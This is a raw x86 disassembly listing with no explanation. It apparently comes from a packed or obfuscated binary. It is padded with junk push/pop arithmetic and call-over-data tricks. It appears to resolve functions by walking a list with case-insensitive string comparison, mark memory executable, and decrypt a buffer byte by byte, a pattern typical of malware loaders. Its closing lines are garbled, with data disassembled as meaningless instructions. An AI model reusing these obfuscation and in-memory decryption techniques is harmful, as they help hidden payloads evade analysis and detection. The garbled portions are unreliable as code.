mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
or ebx, 0xf082
add ebx, 0x111c
pop ebx
push eax
push esi
add esp, 4
and eax, 0x12aac
jmp 0x50a413
pop eax
push edi
push edx
add esp, 4
or edi, 0xe5a9
jmp 0x50a426
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
push esi
add esp, 4
sub esi, 0xec89
xor esi, 0xc281
or esi, 0xa25e
sub esi, 0x9a6d
pop esi
push ebx
push esi
add esp, 4
or ebx, 0xde9c
pop ebx
push edx
xor edx, 0x6517
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50a4cd
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50a527
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50a3f5
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50a3f5
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50a511
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50a51b
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50a570
push edi
or edi, 0x4083
pop edi
push edi
push ecx
add esp, 4
xor edi, 0x8164
jmp 0x50a54a
sub edi, 0x11a97
add edi, 0xcf67
pop edi
push edx
push ebx
add esp, 4
jmp 0x50a561
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50a5d8
push edi
push edi
add esp, 4
or edi, 0xcd1c
add edi, 0x17466
sub edi, 0x15a5f
pop edi
push edi
xor edi, 0x9a03
xor edi, 0x4cae
sub edi, 0x9d63
xor edi, 0x17286
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50a5ce
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50a399
mov dword [ebp - 0x2a8], 0
push ebx
push ebx
add esp, 4
add ebx, 0x53b
call 0x50a5f2
add byte [esi + esi], dh
dec ebp
cmp cl, byte [edi + 0x35]
cmp eax, dword [edx + 0x46]
add esp, 4
pop ebx
push ecx
or ecx, 0x15ff2
sub ecx, 0x10ac8
and ecx, 0x394d
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
call 0x50a629
add byte [edi + 0x40], al
xor esi, dword [edx]
cmp byte [ecx + 0x4c], cl
dec esi
cmp eax, dword [ebx - 0x387efb3c]
pushal
retf 0
push edi
sub edi, 0xcea6
sub edi, 0x130f5
or edi, 0x176c6
pop edi
push eax
push eax
add esp, 4
or eax, 0x5a64
add eax, 0xde61
sub eax, 0xbc78
and eax, 0x1489c
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50aa1d
push esi
push esi
add esp, 4
or esi, 0xa7ed
add esi, 0x158bb
xor esi, 0x58a0
add esi, 0x48d5
pop esi
push esi
add esi, 0x25d6
sub esi, 0x14c0d
jmp 0x50aa08
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50aa3a
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50aa96
push esi
or esi, 0x5363
pop esi
push eax
push eax
add esp, 4
add eax, 0x126e7
xor eax, 0x5edf
pop eax
push edi
push ecx
add esp, 4
jmp 0x50aa6d
sub edi, 0x57fb
and edi, 0x74e0
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x50aa2b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50ab0e
push ebx
call 0x50aad7
add byte [ecx + 0x37], al
inc edi
dec ecx
dec esp
cmp dword ds:[ebp - 0x7d], ecx
les eax, [ecx + eax*4]
retf
push edx
xor edx, 0x170d1
add edx, 0x616d
call 0x50ab2a
add byte [edx], dh
xor al, 0x50
dec ecx
dec ebp
cmp dword [0xc4834050], edi
add al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [ebx], bh
inc edx
dec esi
xor bh, byte [0x47374938]
add esp, 4
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
push esp
push esi
xchg bh, al
pop es
test ah, dh
fadd st(6), st(0)
add eax, dword [ebx]
test ah, cl
and eax, 0x84030305
hlt
ljmp 0x303:0x36bc0202